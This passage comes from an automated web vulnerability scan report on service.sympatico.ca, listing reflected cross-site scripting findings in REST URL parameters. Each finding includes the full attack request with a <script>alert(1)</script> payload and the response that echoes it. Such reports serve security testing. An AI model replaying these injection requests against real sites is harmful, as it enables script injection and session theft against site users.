NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:39 GMT
Connection: close
Set-Cookie: SMSESSION=7JPFwz7j7gIIbkg8j65lD/7bTqB9Kd1Gd/BM56QVtQcbcrsxSfBlcNM2W88LEAxHU4HjL0+huup2QBUoI2PvPvkx8/J7N0qmZX8x5/gvYdQ4HlQVEyOQjvvO5fOdI3J55NMWfxab2xk8l6mItJ9m1GNjlzVU+KWXQaGSY/eK+CDrEAG3QgbVXuTEsqI1TP4unuXAv0FxdoBfou1CnGOAg5ELO5bc+vO66bp5wni1LlKXZjCFcs6qPcpMS8E7SMfwUBazYk71C4wc+lNIXbJcTX2mVAdpkRUYC3TnbvCZKfXtSfCt3cN1Jg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cf8e15"><script>alert(1)</script>c1977b1c178/images/logos/lg_bell.png" />
...[SNIP]...

2.170. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 279dd"><script>alert(1)</script>cae7077c301 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images279dd"><script>alert(1)</script>cae7077c301/logos/lg_bell.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:47 GMT
Connection: close
Set-Cookie: SMSESSION=/Zq6JCi5zKFdA1axMzLYV342mO8hRqXnSAdcp+BP9DmFma9HBV/kL3qNuCaK7ZtijT+jkxddrWBCI8/1lntcZvAWADPjFy8cR80XISU5OK73GksKYG0550xbF4p1KVMUUlQwtYTwYwV2qmR9p3HmPDq9za8gKbBQEfh1+hUlNTjPLR2qfd8T7+3F2yZB+qjA6TrN5/FJJmM1hd6mzVRM3K5m81gCGTUZECZxduUs+xbzhYov7aC6lRzkFyfYraNpxARX1sQdzUln0rkrNEh0Q6KTdPteG2ZfqVy9TgouKX4CKzBniUAy4w==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:48 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:48 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:48 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images279dd"><script>alert(1)</script>cae7077c301/logos/lg_bell.png" />
...[SNIP]...

2.171. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82337"><script>alert(1)</script>67410588ecb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos82337"><script>alert(1)</script>67410588ecb/lg_bell.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:58 GMT
Connection: close
Set-Cookie: SMSESSION=xKaJLIuVLPHY30cxuh552q8d6Vo6aeKjXPNEffgZN3qD82P8j5WmWfRkDxWlt7O7WwHDM16oK6K8rbhL3zOxe5XAwD5dNo/QCOF5mkW+goCuu6TKkNT7sttA6vu1MXFdajApYoe+hi4JDO5gnnZqyrVVWE+mR2vo60G2Em1MudsL1uHDryoKK7qcuefgzrFlCZWYElwQHXOWEW5jDddClFCSIolnLXcb8xc5aap8L/H6GJxfcw6FIDeoKfR6t4UpAEfjBRJrcSHXznJh4SJdAD7GA0tUQ8LPYy132D3wZbB2ObHkzQA+ug==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:58 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:58 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:58 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos82337"><script>alert(1)</script>67410588ecb/lg_bell.png" />
...[SNIP]...

2.172. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 173ff"><script>alert(1)</script>0c75ba30b01 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/logos/lg_bell.png173ff"><script>alert(1)</script>0c75ba30b01 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
